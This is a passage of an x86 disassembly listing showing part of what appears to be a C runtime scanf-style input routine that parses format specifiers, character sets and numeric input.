		jz	short loc_41D905
		cmp	ebx, 2Ah
		jz	short loc_41D8DE
		cmp	ebx, 46h
		jz	short loc_41D905
		cmp	ebx, 49h
		jz	short loc_41D8C0
		cmp	ebx, 4Ch
		jnz	short loc_41D8F2
		inc	[ebp+var_D]
		jmp	short loc_41D905
; ---------------------------------------------------------------------------

loc_41D8C0:				; CODE XREF: sub_41D797+11Dj
		cmp	byte ptr [esi+1], 36h
		jnz	short loc_41D8F2
		cmp	byte ptr [esi+2], 34h
		lea	eax, [esi+2]
		jnz	short loc_41D8F2
		inc	[ebp+var_30]
		and	[ebp+var_28], 0
		and	[ebp+var_24], 0
		mov	esi, eax
		jmp	short loc_41D905
; ---------------------------------------------------------------------------

loc_41D8DE:				; CODE XREF: sub_41D797+113j
		inc	[ebp+var_E]
		jmp	short loc_41D905
; ---------------------------------------------------------------------------

loc_41D8E3:				; CODE XREF: sub_41D797+10Cj
		cmp	ebx, 68h
		jz	short loc_41D8FF
		cmp	ebx, 6Ch
		jz	short loc_41D8F7
		cmp	ebx, 77h
		jz	short loc_41D8FA

loc_41D8F2:				; CODE XREF: sub_41D797+122j
					; sub_41D797+12Dj ...
		inc	[ebp+var_F]
		jmp	short loc_41D905
; ---------------------------------------------------------------------------

loc_41D8F7:				; CODE XREF: sub_41D797+154j
		inc	[ebp+var_D]

loc_41D8FA:				; CODE XREF: sub_41D797+159j
		inc	[ebp+var_5]
		jmp	short loc_41D905
; ---------------------------------------------------------------------------

loc_41D8FF:				; CODE XREF: sub_41D797+14Fj
		dec	[ebp+var_D]
		dec	[ebp+var_5]

loc_41D905:				; CODE XREF: sub_41D797+107j
					; sub_41D797+10Ej ...
		cmp	[ebp+var_F], 0
		jz	loc_41D85E
		cmp	[ebp+var_E], 0
		mov	[ebp+arg_4], esi
		jnz	short loc_41D92A
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_44], eax
		add	eax, 4
		mov	[ebp+arg_8], eax
		mov	eax, [eax-4]
		mov	[ebp+var_2C], eax

loc_41D92A:				; CODE XREF: sub_41D797+17Fj
		and	[ebp+var_F], 0
		cmp	[ebp+var_5], 0
		jnz	short loc_41D948
		mov	al, [esi]
		cmp	al, 53h
		jz	short loc_41D944
		cmp	al, 43h
		jz	short loc_41D944
		or	[ebp+var_5], 0FFh
		jmp	short loc_41D948
; ---------------------------------------------------------------------------

loc_41D944:				; CODE XREF: sub_41D797+1A1j
					; sub_41D797+1A5j
		mov	[ebp+var_5], 1

loc_41D948:				; CODE XREF: sub_41D797+19Bj
					; sub_41D797+1ABj
		mov	ebx, [ebp+arg_4]
		movzx	esi, byte ptr [ebx]
		or	esi, 20h
		cmp	esi, 6Eh
		mov	[ebp+var_3C], esi
		jz	short loc_41D981
		cmp	esi, 63h
		jz	short loc_41D972
		cmp	esi, 7Bh
		jz	short loc_41D972
		push	[ebp+arg_0]
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_41E224
		pop	ecx
		jmp	short loc_41D97D
; ---------------------------------------------------------------------------

loc_41D972:				; CODE XREF: sub_41D797+1C5j
					; sub_41D797+1CAj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41E1F3

loc_41D97D:				; CODE XREF: sub_41D797+1D9j
		pop	ecx
		mov	[ebp+var_14], eax

loc_41D981:				; CODE XREF: sub_41D797+1C0j
		xor	eax, eax
		cmp	[ebp+var_20], eax
		jz	short loc_41D991
		cmp	[ebp+var_C], eax
		jz	loc_41E16D

loc_41D991:				; CODE XREF: sub_41D797+1EFj
		cmp	esi, 6Fh
		jg	loc_41DBF8
		jz	loc_41DEAA
		cmp	esi, 63h
		jz	loc_41DBD5
		cmp	esi, 64h
		jz	loc_41DEAA
		jle	loc_41DC22
		cmp	esi, 67h
		jle	short loc_41D9F5
		cmp	esi, 69h
		jz	short loc_41D9DD
		cmp	esi, 6Eh
		jnz	loc_41DC22
		cmp	[ebp+var_E], 0
		mov	edi, [ebp+var_4]
		jz	loc_41E0D8
		jmp	loc_41E0FE
; ---------------------------------------------------------------------------

loc_41D9DD:				; CODE XREF: sub_41D797+229j
		push	64h
		pop	esi

loc_41D9E0:				; CODE XREF: sub_41D797+480j
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	loc_41DC6A
		mov	[ebp+var_17], 1
		jmp	loc_41DC6F
; ---------------------------------------------------------------------------

loc_41D9F5:				; CODE XREF: sub_41D797+224j
		mov	ebx, [ebp+var_14]
		lea	esi, [ebp+var_1C4]
		cmp	ebx, 2Dh
		jnz	short loc_41DA11
		mov	[ebp+var_1C4], bl
		lea	esi, [ebp+var_1C3]
		jmp	short loc_41DA16
; ---------------------------------------------------------------------------

loc_41DA11:				; CODE XREF: sub_41D797+26Aj
		cmp	ebx, 2Bh
		jnz	short loc_41DA2D

loc_41DA16:				; CODE XREF: sub_41D797+278j
		mov	edi, [ebp+arg_0]
		dec	[ebp+var_C]
		inc	[ebp+var_4]
		push	edi
		call	sub_41E1F3
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_41DA30
; ---------------------------------------------------------------------------

loc_41DA2D:				; CODE XREF: sub_41D797+27Dj
		mov	edi, [ebp+arg_0]

loc_41DA30:				; CODE XREF: sub_41D797+294j
		cmp	[ebp+var_20], 0
		jz	short loc_41DA3F
		cmp	[ebp+var_C], 15Dh
		jle	short loc_41DA46

loc_41DA3F:				; CODE XREF: sub_41D797+29Dj
		mov	[ebp+var_C], 15Dh

loc_41DA46:				; CODE XREF: sub_41D797+2A6j
					; sub_41D797+2F2j
		cmp	ds:dword_4397AC, 1
		jle	short loc_41DA5B
		push	4
		push	ebx
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_41DA66
; ---------------------------------------------------------------------------

loc_41DA5B:				; CODE XREF: sub_41D797+2B6j
		mov	eax, ds:off_4395A0
		mov	al, [eax+ebx*2]
		and	eax, 4

loc_41DA66:				; CODE XREF: sub_41D797+2C2j
		test	eax, eax
		jz	short loc_41DA8B
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_41DA8B
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_41E1F3
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_41DA46
; ---------------------------------------------------------------------------

loc_41DA8B:				; CODE XREF: sub_41D797+2D1j
					; sub_41D797+2DBj
		cmp	ds:byte_4397B0,	bl
		jnz	short loc_41DAF9
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_41DAF9
		inc	[ebp+var_4]
		push	edi
		call	sub_41E1F3
		mov	ebx, eax
		mov	al, ds:byte_4397B0
		mov	[esi], al
		pop	ecx
		mov	[ebp+var_14], ebx
		inc	esi

loc_41DAB4:				; CODE XREF: sub_41D797+360j
		cmp	ds:dword_4397AC, 1
		jle	short loc_41DAC9
		push	4
		push	ebx
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_41DAD4
; ---------------------------------------------------------------------------

loc_41DAC9:				; CODE XREF: sub_41D797+324j
		mov	eax, ds:off_4395A0
		mov	al, [eax+ebx*2]
		and	eax, 4

loc_41DAD4:				; CODE XREF: sub_41D797+330j
		test	eax, eax
		jz	short loc_41DAF9
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_41DAF9
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_41E1F3
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_41DAB4
; ---------------------------------------------------------------------------

loc_41DAF9:				; CODE XREF: sub_41D797+2FAj
					; sub_41D797+304j ...
		cmp	[ebp+var_1C], 0
		jz	loc_41DB91
		cmp	ebx, 65h
		jz	short loc_41DB11
		cmp	ebx, 45h
		jnz	loc_41DB91

loc_41DB11:				; CODE XREF: sub_41D797+36Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_41DB91
		mov	byte ptr [esi],	65h
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_41E1F3
		mov	ebx, eax
		pop	ecx
		cmp	ebx, 2Dh
		mov	[ebp+var_14], ebx
		jnz	short loc_41DB38
		mov	[esi], al
		inc	esi
		jmp	short loc_41DB3D
; ---------------------------------------------------------------------------

loc_41DB38:				; CODE XREF: sub_41D797+39Aj
		cmp	ebx, 2Bh
		jnz	short loc_41DB5B

loc_41DB3D:				; CODE XREF: sub_41D797+39Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jnz	short loc_41DB4C
		and	[ebp+var_C], eax
		jmp	short loc_41DB5B
; ---------------------------------------------------------------------------

loc_41DB4C:				; CODE XREF: sub_41D797+3AEj
					; sub_41D797+3F8j
		inc	[ebp+var_4]
		push	edi
		call	sub_41E1F3
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx

loc_41DB5B:				; CODE XREF: sub_41D797+3A4j
					; sub_41D797+3B3j
		cmp	ds:dword_4397AC, 1
		jle	short loc_41DB70
		push	4
		push	ebx
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_41DB7B
; ---------------------------------------------------------------------------

loc_41DB70:				; CODE XREF: sub_41D797+3CBj
		mov	eax, ds:off_4395A0
		mov	al, [eax+ebx*2]
		and	eax, 4

loc_41DB7B:				; CODE XREF: sub_41D797+3D7j
		test	eax, eax
		jz	short loc_41DB91
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_41DB91
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		jmp	short loc_41DB4C
; ---------------------------------------------------------------------------

loc_41DB91:				; CODE XREF: sub_41D797+366j
					; sub_41D797+374j ...
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_41E20D
		cmp	[ebp+var_1C], 0
		pop	ecx
		pop	ecx
		jz	loc_41E19D
		cmp	[ebp+var_E], 0
		jnz	loc_41E0FE
		inc	[ebp+var_34]
		and	byte ptr [esi],	0
		lea	eax, [ebp+var_1C4]
		push	eax
		movsx	eax, [ebp+var_D]
		push	[ebp+var_2C]
		dec	eax
		push	eax
		call	ds:off_43B908
		add	esp, 0Ch
		jmp	loc_41E0FE
; ---------------------------------------------------------------------------

loc_41DBD5:				; CODE XREF: sub_41D797+20Cj
		cmp	[ebp+var_20], eax
		jnz	short loc_41DBE4
		inc	[ebp+var_C]
		mov	[ebp+var_20], 1

loc_41DBE4:				; CODE XREF: sub_41D797+441j
		cmp	[ebp+var_5], 0
		jle	short loc_41DBEE
		mov	[ebp+var_16], 1

loc_41DBEE:				; CODE XREF: sub_41D797+451j
		mov	edi, offset dword_43B930
		jmp	loc_41DD03
; ---------------------------------------------------------------------------

loc_41DBF8:				; CODE XREF: sub_41D797+1FDj
		mov	eax, esi
		sub	eax, 70h
		jz	loc_41DEA6
		sub	eax, 3
		jz	loc_41DCF4
		dec	eax
		dec	eax
		jz	loc_41DEAA
		sub	eax, 3
		jz	loc_41D9E0
		sub	eax, 3
		jz	short loc_41DC46

loc_41DC22:				; CODE XREF: sub_41D797+21Bj
					; sub_41D797+22Ej
		movzx	eax, byte ptr [ebx]
		cmp	eax, [ebp+var_14]
		jnz	loc_41E16D
		dec	[ebp+var_15]
		cmp	[ebp+var_E], 0
		jnz	loc_41E0FE
		mov	eax, [ebp+var_44]
		mov	[ebp+arg_8], eax
		jmp	loc_41E0FE
; ---------------------------------------------------------------------------

loc_41DC46:				; CODE XREF: sub_41D797+489j
		cmp	[ebp+var_5], 0
		jle	short loc_41DC50
		mov	[ebp+var_16], 1

loc_41DC50:				; CODE XREF: sub_41D797+4B3j
		mov	edi, [ebp+arg_4]
		inc	edi
		mov	[ebp+arg_4], edi
		cmp	byte ptr [edi],	5Eh
		jnz	loc_41DD07
		mov	eax, edi
		lea	edi, [eax+1]
		jmp	loc_41DD03
; ---------------------------------------------------------------------------

loc_41DC6A:				; CODE XREF: sub_41D797+24Fj
		cmp	ebx, 2Bh
		jnz	short loc_41DC91

loc_41DC6F:				; CODE XREF: sub_41D797+259j
		dec	[ebp+var_C]
		jnz	short loc_41DC80
		cmp	[ebp+var_20], 0
		jz	short loc_41DC80
		mov	[ebp+var_F], 1
		jmp	short loc_41DC91
; ---------------------------------------------------------------------------

loc_41DC80:				; CODE XREF: sub_41D797+4DBj
					; sub_41D797+4E1j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41E1F3
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx

loc_41DC91:				; CODE XREF: sub_41D797+4D6j
					; sub_41D797+4E7j
		cmp	ebx, 30h
		jnz	loc_41DEDF
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41E1F3
		mov	ebx, eax
		pop	ecx
		cmp	bl, 78h
		mov	[ebp+var_14], ebx
		jz	short loc_41DCDF
		cmp	bl, 58h
		jz	short loc_41DCDF
		cmp	esi, 78h
		mov	[ebp+var_1C], 1
		jz	short loc_41DCC9
		push	6Fh

loc_41DCC3:				; CODE XREF: sub_41D797+55Bj
		pop	esi
		jmp	loc_41DEDF
; ---------------------------------------------------------------------------

loc_41DCC9:				; CODE XREF: sub_41D797+528j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_41E20D
		pop	ecx
		pop	ecx
		push	30h
		pop	ebx
		jmp	loc_41DEDC
; ---------------------------------------------------------------------------

loc_41DCDF:				; CODE XREF: sub_41D797+517j
					; sub_41D797+51Cj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41E1F3
		pop	ecx
		mov	ebx, eax
		mov	[ebp+var_14], ebx
		push	78h
		jmp	short loc_41DCC3
; ---------------------------------------------------------------------------

loc_41DCF4:				; CODE XREF: sub_41D797+46Fj
		cmp	[ebp+var_5], 0
		jle	short loc_41DCFE
		mov	[ebp+var_16], 1

loc_41DCFE:				; CODE XREF: sub_41D797+561j
		mov	edi, offset dword_43B928

loc_41DD03:				; CODE XREF: sub_41D797+45Cj
					; sub_41D797+4CEj
		or	[ebp+var_18], 0FFh

loc_41DD07:				; CODE XREF: sub_41D797+4C3j
		push	20h
		lea	eax, [ebp+var_64]
		push	0
		push	eax
		call	sub_417330
		add	esp, 0Ch
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_41DD2B
		cmp	byte ptr [edi],	5Dh
		jnz	short loc_41DD2B
		mov	dl, 5Dh
		inc	edi
		mov	[ebp+var_59], 20h
		jmp	short loc_41DD2E
; ---------------------------------------------------------------------------

loc_41DD2B:				; CODE XREF: sub_41D797+584j
					; sub_41D797+589j
		mov	dl, [ebp+var_35]

loc_41DD2E:				; CODE XREF: sub_41D797+592j
					; sub_41D797+5E1j ...
		mov	al, [edi]
		cmp	al, 5Dh
		jz	short loc_41DD93
		inc	edi
		cmp	al, 2Dh
		jnz	short loc_41DD7A
		test	dl, dl
		jz	short loc_41DD7A
		mov	cl, [edi]
		cmp	cl, 5Dh
		jz	short loc_41DD7A
		inc	edi
		cmp	dl, cl
		jnb	short loc_41DD4D
		mov	al, cl
		jmp	short loc_41DD51
; ---------------------------------------------------------------------------

loc_41DD4D:				; CODE XREF: sub_41D797+5B0j
		mov	al, dl
		mov	dl, cl

loc_41DD51:				; CODE XREF: sub_41D797+5B4j
		cmp	dl, al
		ja	short loc_41DD76
		movzx	edx, dl
		movzx	esi, al
		sub	esi, edx
		inc	esi

loc_41DD5E:				; CODE XREF: sub_41D797+5DDj
		mov	ecx, edx
		mov	eax, edx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		inc	edx
		dec	esi
		jnz	short loc_41DD5E

loc_41DD76:				; CODE XREF: sub_41D797+5BCj
		xor	dl, dl
		jmp	short loc_41DD2E
; ---------------------------------------------------------------------------

loc_41DD7A:				; CODE XREF: sub_41D797+5A0j
					; sub_41D797+5A4j ...
		movzx	ecx, al
		mov	dl, al
		mov	eax, ecx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		jmp	short loc_41DD2E
; ---------------------------------------------------------------------------

loc_41DD93:				; CODE XREF: sub_41D797+59Bj
		cmp	byte ptr [edi],	0
		jz	loc_41E19D
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_41DDA5
		mov	[ebp+arg_4], edi

loc_41DDA5:				; CODE XREF: sub_41D797+609j
		mov	edi, [ebp+arg_0]
		mov	esi, [ebp+var_2C]
		dec	[ebp+var_4]
		push	edi
		push	[ebp+var_14]
		mov	[ebp+var_30], esi
		call	sub_41E20D
		pop	ecx
		pop	ecx

loc_41DDBC:				; CODE XREF: sub_41D797+6BCj
					; sub_41D797+6C4j
		cmp	[ebp+var_20], 0
		jz	short loc_41DDD0
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	loc_41DE6C

loc_41DDD0:				; CODE XREF: sub_41D797+629j
		inc	[ebp+var_4]
		push	edi
		call	sub_41E1F3
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+var_14], eax
		jz	short loc_41DE60
		mov	ecx, eax
		push	1
		and	ecx, 7
		pop	edx
		movsx	ebx, [ebp+var_18]
		shl	edx, cl
		mov	ecx, eax
		sar	ecx, 3
		movsx	ecx, [ebp+ecx+var_64]
		xor	ecx, ebx
		test	edx, ecx
		jz	short loc_41DE60
		cmp	[ebp+var_E], 0
		jnz	short loc_41DE58
		cmp	[ebp+var_16], 0
		jz	short loc_41DE4D
		mov	ecx, ds:off_4395A0
		mov	[ebp+var_38], al
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_41DE2C
		inc	[ebp+var_4]
		push	edi
		call	sub_41E1F3
		pop	ecx
		mov	[ebp+var_37], al

loc_41DE2C:				; CODE XREF: sub_41D797+686j
		push	ds:dword_4397AC
		lea	eax, [ebp+var_38]
		push	eax
		lea	eax, [ebp+var_3E]
		push	eax
		call	sub_420E98
		mov	ax, [ebp+var_3E]
		add	esp, 0Ch
		mov	[esi], ax
		inc	esi
		inc	esi
		jmp	short loc_41DE50
; ---------------------------------------------------------------------------

loc_41DE4D:				; CODE XREF: sub_41D797+673j
		mov	[esi], al
		inc	esi

loc_41DE50:				; CODE XREF: sub_41D797+6B4j
		mov	[ebp+var_2C], esi
		jmp	loc_41DDBC
; ---------------------------------------------------------------------------

loc_41DE58:				; CODE XREF: sub_41D797+66Dj
		inc	[ebp+var_30]
		jmp	loc_41DDBC
; ---------------------------------------------------------------------------

loc_41DE60:				; CODE XREF: sub_41D797+649j
					; sub_41D797+667j
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_41E20D
		pop	ecx
		pop	ecx

loc_41DE6C:				; CODE XREF: sub_41D797+633j
		cmp	[ebp+var_30], esi
		jz	loc_41E19D
		cmp	[ebp+var_E], 0
		jnz	loc_41E0FE
		inc	[ebp+var_34]
		cmp	[ebp+var_3C], 63h
		jz	loc_41E0FE
		cmp	[ebp+var_16], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_41DE9E
		and	word ptr [eax],	0
		jmp	loc_41E0FE
; ---------------------------------------------------------------------------

loc_41DE9E:				; CODE XREF: sub_41D797+6FCj
		and	byte ptr [eax],	0
		jmp	loc_41E0FE
; ---------------------------------------------------------------------------

loc_41DEA6:				; CODE XREF: sub_41D797+466j
		mov	[ebp+var_D], 1

loc_41DEAA:				; CODE XREF: sub_41D797+203j
					; sub_41D797+215j ...
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	short loc_41DEB8
		mov	[ebp+var_17], 1
		jmp	short loc_41DEBD
; ---------------------------------------------------------------------------

loc_41DEB8:				; CODE XREF: sub_41D797+719j
		cmp	ebx, 2Bh
		jnz	short loc_41DEDF

loc_41DEBD:				; CODE XREF: sub_41D797+71Fj
		dec	[ebp+var_C]
		jnz	short loc_41DECE
		cmp	[ebp+var_20], 0
		jz	short loc_41DECE
		mov	[ebp+var_F], 1
		jmp	short loc_41DEDF
; ---------------------------------------------------------------------------

loc_41DECE:				; CODE XREF: sub_41D797+729j
					; sub_41D797+72Fj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41E1F3
		pop	ecx
		mov	ebx, eax

loc_41DEDC:				; CODE XREF: sub_41D797+543j
		mov	[ebp+var_14], ebx

loc_41DEDF:				; CODE XREF: sub_41D797+4FDj
					; sub_41D797+52Dj ...
		cmp	[ebp+var_30], 0
		jz	loc_41DFF8
		cmp	[ebp+var_F], 0
		jnz	loc_41DFD6

loc_41DEF3:				; CODE XREF: sub_41D797+82Cj
		cmp	esi, 78h
		jnz	short loc_41DF47
		cmp	ds:dword_4397AC, 1
		jle	short loc_41DF10
		push	80h
		push	ebx
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_41DF1D
; ---------------------------------------------------------------------------

loc_41DF10:				; CODE XREF: sub_41D797+768j
		mov	eax, ds:off_4395A0
		mov	al, [eax+ebx*2]
		and	eax, 80h

loc_41DF1D:				; CODE XREF: sub_41D797+777j
		test	eax, eax
		jz	loc_41DFC8
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	4
		pop	ecx
		call	sub_420F90
		push	ebx
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx
		call	sub_41E1BC
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_41DF9A
; ---------------------------------------------------------------------------

loc_41DF47:				; CODE XREF: sub_41D797+75Fj
		cmp	ds:dword_4397AC, 1
		jle	short loc_41DF5C
		push	4
		push	ebx
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_41DF67
; ---------------------------------------------------------------------------

loc_41DF5C:				; CODE XREF: sub_41D797+7B7j
		mov	eax, ds:off_4395A0
		mov	al, [eax+ebx*2]
		and	eax, 4

loc_41DF67:				; CODE XREF: sub_41D797+7C3j
		test	eax, eax
		jz	short loc_41DFC8
		cmp	esi, 6Fh
		jnz	short loc_41DF85
		cmp	ebx, 38h
		jge	short loc_41DFC8
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	3
		pop	ecx
		call	sub_420F90
		jmp	short loc_41DF94
; ---------------------------------------------------------------------------

loc_41DF85:				; CODE XREF: sub_41D797+7D7j
		push	0
		push	0Ah
		push	[ebp+var_24]
		push	[ebp+var_28]
		call	sub_417760

loc_41DF94:				; CODE XREF: sub_41D797+7ECj
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx

loc_41DF9A:				; CODE XREF: sub_41D797+7AEj
		inc	[ebp+var_1C]
		lea	eax, [ebx-30h]
		cdq
		add	[ebp+var_28], eax
		adc	[ebp+var_24], edx
		cmp	[ebp+var_20], 0
		jz	short loc_41DFB2
		dec	[ebp+var_C]
		jz	short loc_41DFD6

loc_41DFB2:				; CODE XREF: sub_41D797+814j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41E1F3
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_41DEF3
; ---------------------------------------------------------------------------

loc_41DFC8:				; CODE XREF: sub_41D797+788j
					; sub_41D797+7D2j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_41E20D
		pop	ecx
		pop	ecx

loc_41DFD6:				; CODE XREF: sub_41D797+756j
					; sub_41D797+819j
		cmp	[ebp+var_17], 0
		jz	loc_41E0BC
		mov	eax, [ebp+var_28]
		mov	ecx, [ebp+var_24]
		neg	eax
		adc	ecx, 0
		mov	[ebp+var_28], eax
		neg	ecx
		mov	[ebp+var_24], ecx
		jmp	loc_41E0BC
; ---------------------------------------------------------------------------

loc_41DFF8:				; CODE XREF: sub_41D797+74Cj
		cmp	[ebp+var_F], 0
		jnz	loc_41E0B4

loc_41E002:				; CODE XREF: sub_41D797+90Aj
		cmp	esi, 78h
		jz	short loc_41E046
		cmp	esi, 70h
		jz	short loc_41E046
		cmp	ds:dword_4397AC, 1
		jle	short loc_41E021
		push	4
		push	ebx
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_41E02C
; ---------------------------------------------------------------------------

loc_41E021:				; CODE XREF: sub_41D797+87Cj
		mov	eax, ds:off_4395A0
		mov	al, [eax+ebx*2]
		and	eax, 4

loc_41E02C:				; CODE XREF: sub_41D797+888j
		test	eax, eax
		jz	short loc_41E0A6
		cmp	esi, 6Fh
		jnz	short loc_41E03F
		cmp	ebx, 38h
		jge	short loc_41E0A6
		shl	edi, 3
		jmp	short loc_41E07E
; ---------------------------------------------------------------------------

loc_41E03F:				; CODE XREF: sub_41D797+89Cj
		lea	edi, [edi+edi*4]
		shl	edi, 1
		jmp	short loc_41E07E
; ---------------------------------------------------------------------------

loc_41E046:				; CODE XREF: sub_41D797+86Ej
					; sub_41D797+873j
		cmp	ds:dword_4397AC, 1
		jle	short loc_41E05E
		push	80h
		push	ebx
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_41E06B
; ---------------------------------------------------------------------------

loc_41E05E:				; CODE XREF: sub_41D797+8B6j
		mov	eax, ds:off_4395A0
		mov	al, [eax+ebx*2]
		and	eax, 80h

loc_41E06B:				; CODE XREF: sub_41D797+8C5j
		test	eax, eax
		jz	short loc_41E0A6
		push	ebx
		shl	edi, 4
		call	sub_41E1BC
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx

loc_41E07E:				; CODE XREF: sub_41D797+8A6j
					; sub_41D797+8ADj
		inc	[ebp+var_1C]
		cmp	[ebp+var_20], 0
		lea	edi, [edi+ebx-30h]
		jz	short loc_41E090
		dec	[ebp+var_C]
		jz	short loc_41E0B4

loc_41E090:				; CODE XREF: sub_41D797+8F2j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41E1F3
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_41E002
; ---------------------------------------------------------------------------

loc_41E0A6:				; CODE XREF: sub_41D797+897j
					; sub_41D797+8A1j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_41E20D
		pop	ecx
		pop	ecx

loc_41E0B4:				; CODE XREF: sub_41D797+865j
					; sub_41D797+8F7j
		cmp	[ebp+var_17], 0
		jz	short loc_41E0BC
		neg	edi

loc_41E0BC:				; CODE XREF: sub_41D797+843j
					; sub_41D797+85Cj ...
		cmp	esi, 46h
		jnz	short loc_41E0C5
		and	[ebp+var_1C], 0

loc_41E0C5:				; CODE XREF: sub_41D797+928j
		cmp	[ebp+var_1C], 0
		jz	loc_41E19D
		cmp	[ebp+var_E], 0
		jnz	short loc_41E0FE
		inc	[ebp+var_34]

loc_41E0D8:				; CODE XREF: sub_41D797+23Bj
		cmp	[ebp+var_30], 0
		jz	short loc_41E0EE
		mov	eax, [ebp+var_2C]
		mov	ecx, [ebp+var_28]
		mov	[eax], ecx
		mov	ecx, [ebp+var_24]
		mov	[eax+4], ecx
		jmp	short loc_41E0FE
; ---------------------------------------------------------------------------

loc_41E0EE:				; CODE XREF: sub_41D797+945j
		cmp	[ebp+var_D], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_41E0FB
		mov	[eax], edi
		jmp	short loc_41E0FE
; ---------------------------------------------------------------------------

loc_41E0FB:				; CODE XREF: sub_41D797+95Ej
		mov	[eax], di

loc_41E0FE:				; CODE XREF: sub_41D797+241j
					; sub_41D797+414j ...
		inc	[ebp+var_15]
		inc	[ebp+arg_4]
		mov	esi, [ebp+arg_4]
		jmp	short loc_41E14B
; ---------------------------------------------------------------------------

loc_41E109:				; CODE XREF: sub_41D797+93j
		inc	[ebp+var_4]
		push	edi
		call	sub_41E1F3
		mov	ebx, eax
		pop	ecx
		movzx	eax, byte ptr [esi]
		inc	esi
		cmp	eax, ebx
		mov	[ebp+var_14], ebx
		mov	[ebp+arg_4], esi
		jnz	short loc_41E178
		mov	ecx, ds:off_4395A0
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_41E14B
		inc	[ebp+var_4]
		push	edi
		call	sub_41E1F3
		pop	ecx
		movzx	ecx, byte ptr [esi]
		inc	esi
		cmp	ecx, eax
		mov	[ebp+arg_4], esi
		jnz	short loc_41E186
		dec	[ebp+var_4]

loc_41E14B:				; CODE XREF: sub_41D797+970j
					; sub_41D797+99Aj
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_41E161
		cmp	byte ptr [esi],	25h
		jnz	short loc_41E1A3
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax+1], 6Eh
		jnz	short loc_41E1A3
		mov	esi, eax

loc_41E161:				; CODE XREF: sub_41D797+9B8j
		mov	al, [esi]
		test	al, al
		jnz	loc_41D7C1
		jmp	short loc_41E19D
; ---------------------------------------------------------------------------

loc_41E16D:				; CODE XREF: sub_41D797+1F4j
					; sub_41D797+491j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	[ebp+var_14]
		jmp	short loc_41E17D
; ---------------------------------------------------------------------------

loc_41E178:				; CODE XREF: sub_41D797+98Aj
		dec	[ebp+var_4]
		push	edi
		push	ebx

loc_41E17D:				; CODE XREF: sub_41D797+9DFj
		call	sub_41E20D
		pop	ecx
		pop	ecx
		jmp	short loc_41E19D
; ---------------------------------------------------------------------------

loc_41E186:				; CODE XREF: sub_41D797+9AFj
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_41E20D
		dec	[ebp+var_4]
		push	edi
		push	ebx
